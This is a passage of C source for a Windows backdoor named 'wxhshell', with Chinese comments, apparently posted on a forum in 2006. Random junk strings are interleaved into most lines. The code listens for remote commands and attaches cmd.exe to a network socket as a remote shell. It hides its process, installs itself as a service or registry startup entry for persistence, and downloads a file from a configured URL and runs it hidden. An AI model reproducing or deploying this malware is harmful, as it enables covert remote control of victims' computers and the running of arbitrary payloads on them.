  // 帮助 bG[)r  
  case '?': { N\WEp?%~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j?cE0 hz  
    break; zXx)xIO  
  } ;bxL$1  
  // 安装 8X2NEVH]  
  case 'i': { YU24wTe;k  
    if(Install()) h(wu5G0C#u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x $ oId{;  
    else d#]XyN>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ct,|g =(  
    break; L]|[AyNu  
    } ;Jq 7E  
  // 卸载 c2fbqM~  
  case 'r': { Y)]x1I  
    if(Uninstall()) 6 P6Pl&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nq"U`z@R  
    else 0h",.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9H4NvB{  
    break; 7Eett)4  
    } Vy giR|f-  
  // 显示 wxhshell 所在路径 kw Iw=8q~  
  case 'p': { ?3{:[*  
    char svExeFile[MAX_PATH]; 6YeEr!zt%  
    strcpy(svExeFile,"\n\r"); 2wki21oY  
      strcat(svExeFile,ExeFile); )kiC/Y}k  
        send(wsh,svExeFile,strlen(svExeFile),0); [#Y7iN&  
    break; &>&UqWL  
    } D 4fHNk)kZ  
  // 重启 z7'C;I  
  case 'b': { 1'{A,!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BVk&TGa;[$  
    if(Boot(REBOOT)) yG<`7v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /MUa b*h  
    else { vuE 1(CR  
    closesocket(wsh); U4hFPK<  
    ExitThread(0); %Vp'^,&S  
    } pN ^^U[  
    break; pAd 8-a  
    } Xitsb f=Gg  
  // 关机 )$_b?  
  case 'd': { gnPu{-Ec*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _9Zwg+oO[  
    if(Boot(SHUTDOWN)) eURj'8o),  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :_y}8am;H~  
    else { bW9a_myE  
    closesocket(wsh); vw/L|b7G  
    ExitThread(0); > R5<D'cEN  
    } :6r)HJ5sg  
    break; jR CG}'  
    } } JePEmj  
  // 获取shell k&h3"  
  case 's': { Y={_o!9  
    CmdShell(wsh); `"* ]C  
    closesocket(wsh); ClvqI"Rd  
    ExitThread(0); )LP=IT  
    break; 93aRWEu3  
  } `/0S]?a.{B  
  // 退出  ;Iu}Q-b*  
  case 'x': {  A/zZ%h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Rt^~db  
    CloseIt(wsh); @1UC9}>  
    break; ~Kr_[X:d5  
    } e0ea2 2  
  // 离开 7"c^$fj  
  case 'q': { N @24)g?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !leLOi2T  
    closesocket(wsh); 'nO%1BZj+  
    WSACleanup(); [h GS*  
    exit(1); mrgieb%  
    break; QmpP_eS >  
        } "`jey)&H*M  
  } Z+*t=?L,,G  
  } (` N@4w=  
X pH]CF  
  // 提示信息 =I}8-AS~V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bi'qy]%  
} ~RRp5x _  
  } ca},tov&  
Vk>m/"  
  return; '8$*gIQ8  
} E~y@ue:  
1D6F WYV8  
// shell模块句柄 [Pnk@jIk4  
int CmdShell(SOCKET sock) _4]GP3`  
{ l,pI~A`w_  
STARTUPINFO si; X_6h8n}i  
ZeroMemory(&si,sizeof(si)); \ LQ?s)~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $ MN1:ih  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &r)i6{w81  
PROCESS_INFORMATION ProcessInfo; N^{"k,vB-  
char cmdline[]="cmd"; kDz!v?Z2+B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i^2yq&uT(  
  return 0; :Rq>a@Rp  
} ]26 Q*.1~  
(")IU{>c6  
// 自身启动模式 Kn !n}GtR  
int StartFromService(void) 8 )W{&#C>  
{ ?%RN? O(  
typedef struct VX!UT=;  
{ E9]/sFA-]  
  DWORD ExitStatus;  9z9EK'g  
  DWORD PebBaseAddress; W.fsW<{4j  
  DWORD AffinityMask; 1I{^]]qw  
  DWORD BasePriority; hd@ >p.  
  ULONG UniqueProcessId; &ZmHR^Flz  
  ULONG InheritedFromUniqueProcessId; ;U02VguC  
}   PROCESS_BASIC_INFORMATION; 1${lHVx]  
_.ny<r:g  
PROCNTQSIP NtQueryInformationProcess; O$2= Z  
X~`<ik{q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *Z+8L*k97  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b xU13ESv  
PW[NW-S`c  
  HANDLE             hProcess; `H_.<``>  
  PROCESS_BASIC_INFORMATION pbi; P2q'P&  
`pHlGbrW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LZ97nvK  
  if(NULL == hInst ) return 0; km)5?  
&rcC7v K9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /ynvQ1#uA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >8pmClVvmR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $<y10DfO  
Zi0B$3iOb  
  if (!NtQueryInformationProcess) return 0; x2^Yvgc-  
S-M| 6fv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |m^qA](M  
  if(!hProcess) return 0; 80p?qe  
C1/<t)^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xS4B"/  
A 11w{`EM  
  CloseHandle(hProcess); &s +DK `  
<rO0t9OH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {iyO96YI[^  
if(hProcess==NULL) return 0; M=mzl750M  
&m>yY{ be  
HMODULE hMod; BRTM]tRZ  
char procName[255]; F)W7,^=X>-  
unsigned long cbNeeded; VUo7Evc:.P  
_o 2pyV&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $6(,/}==0  
v-V#?+#  
  CloseHandle(hProcess); tP?pN]Q$,  
"1<>c/h  
if(strstr(procName,"services")) return 1; // 以服务启动 <`B4+:;w6  
|Ew~3-u!  
  return 0; // 注册表启动 ^* xhbM;  
} d:U2b"k=/u  
YPjjSi:#  
// 主模块 C&&*6E5  
int StartWxhshell(LPSTR lpCmdLine) "kE$2Kg  
{ ; W/K7}  
  SOCKET wsl; n^svRM]eQ  
BOOL val=TRUE; 8IAf 9  
  int port=0; 5pOb;ry")`  
  struct sockaddr_in door; q,ry3Nr4n  
k63]Qf=5?N  
  if(wscfg.ws_autoins) Install(); +w(sDH~kd  
jLANv{"  
port=atoi(lpCmdLine); w3,1ImrXp  
lw.4O^  
if(port<=0) port=wscfg.ws_port; FD}hw9VyF@  
D[m+= -  
  WSADATA data; P,$|.p d'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A]z~Dw3  
{Hv/|.),hu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M@G <I]\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Rmq8lU  
  door.sin_family = AF_INET; $_j\b4]%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ileqI/40f  
  door.sin_port = htons(port); 's.cwB: #  
7X Z5CX&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yFIB/ln:  
closesocket(wsl); ?,_$;g  
return 1; FmRCTH  
} v<*ga7'S  
1eg/<4]hA  
  if(listen(wsl,2) == INVALID_SOCKET) { CXb-{|I}d  
closesocket(wsl); -,M*j|   
return 1; M^i^_}~S;  
} _I("k:E7  
  Wxhshell(wsl); 52*9q!  
  WSACleanup(); H nKO  
`^rN"\  
return 0; X1 A~#w>  
X+'z@xpj  
} NTnjVU }  
Km5#$IiP;  
// 以NT服务方式启动 To x{Sk3L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7J 0=HbH  
{ `N+A8  
DWORD   status = 0; bNUb  
  DWORD   specificError = 0xfffffff; mkA1Sh{hX>  
RXMzwk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x@-bY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; aoLYw 9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XZ@;Tyn0,  
  serviceStatus.dwWin32ExitCode     = 0; lJ+05\pE  
  serviceStatus.dwServiceSpecificExitCode = 0; >L\>Th{o  
  serviceStatus.dwCheckPoint       = 0; EcBJ-j 6d  
  serviceStatus.dwWaitHint       = 0; _[yBwh  
(+@ Lnz\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r<Il;?S6  
  if (hServiceStatusHandle==0) return; we6kV-L.  
n=HId:XT  
status = GetLastError(); >~;MQDU5*Y  
  if (status!=NO_ERROR) Kq`C5  
{ }y<p_dZI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @yBg)1AL  
    serviceStatus.dwCheckPoint       = 0; &3 QdQ n,  
    serviceStatus.dwWaitHint       = 0; n*tT <  
    serviceStatus.dwWin32ExitCode     = status;  2 EG`  
    serviceStatus.dwServiceSpecificExitCode = specificError; *O>OHX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pEc|h*p8  
    return; 8PWx>}XPt  
  } =")}wl=s  
<A"T_Rk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7Z-'@m  
  serviceStatus.dwCheckPoint       = 0; ? o@5PL  
  serviceStatus.dwWaitHint       = 0;  E*[dc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;Up'+[Vj'C  
} ~m ,xG  
zp"Lp>i  
// 处理NT服务事件,比如:启动、停止 )!h(oR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7j9:s>D  
{ Yx- 2ux  
switch(fdwControl) 0mJvoz\j8  
{ K;%P_f/KJP  
case SERVICE_CONTROL_STOP: E7A psi4]  
  serviceStatus.dwWin32ExitCode = 0; d(.e%[`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; % D]vKv~<  
  serviceStatus.dwCheckPoint   = 0; zTDB]z!A  
  serviceStatus.dwWaitHint     = 0; Hzr<i4Y=w9  
  { -WDU~VSU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %SKp<>;9  
  } Uu~7+oaQ  
  return; <h(KI Y9T  
case SERVICE_CONTROL_PAUSE: tx$kD2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jo75M Sj  
  break; l+6y$2QR  
case SERVICE_CONTROL_CONTINUE: }T@^wY_Ow  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J%G EIe|  
  break; vwVK ^B  
case SERVICE_CONTROL_INTERROGATE: & PHejG_#  
  break; /az}<r8  
}; .A;e` cKb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _[zZm*  
} X$o$8s  
oF1{/ERS  
// 标准应用程序主函数 Kjw4,z%\94  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `1|#Za~e  
{ *R] Ob9X  
.Dn.|A  
// 获取操作系统版本 pmm?Fq!s=  
OsIsNt=GetOsVer(); U} EaV<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^Eu]i  
4uQ\JD(*Eu  
  // 从命令行安装 en"]u,!  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6#A g^A  
x -wIgo+  
  // 下载执行文件 bSOxM /N  
if(wscfg.ws_downexe) { MAhJ>qe8 p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k[TVu5R  
  WinExec(wscfg.ws_filenam,SW_HIDE); mAycfa  
} j]-0m4QF  
cE{hy 7cH  
if(!OsIsNt) { XILB>o.^3  
// 如果时win9x,隐藏进程并且设置为注册表启动 _a;E>   
HideProc(); S6k R o^2  
StartWxhshell(lpCmdLine); ~r/"w'dB  
} 3AKT>Wy =  
else 'r&az BO  
  if(StartFromService()) gN2$;hb?  
  // 以服务方式启动 @J`o pR  
  StartServiceCtrlDispatcher(DispatchTable); (IlHg^"  
else 'q158x  
  // 普通方式启动 C,*3a`/2M^  
  StartWxhshell(lpCmdLine); HGuU6@~hu  
(HNxo{t  
return 0; ?hqHTH:PU  
}
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只看该作者 1 发表于: 2006-10-10
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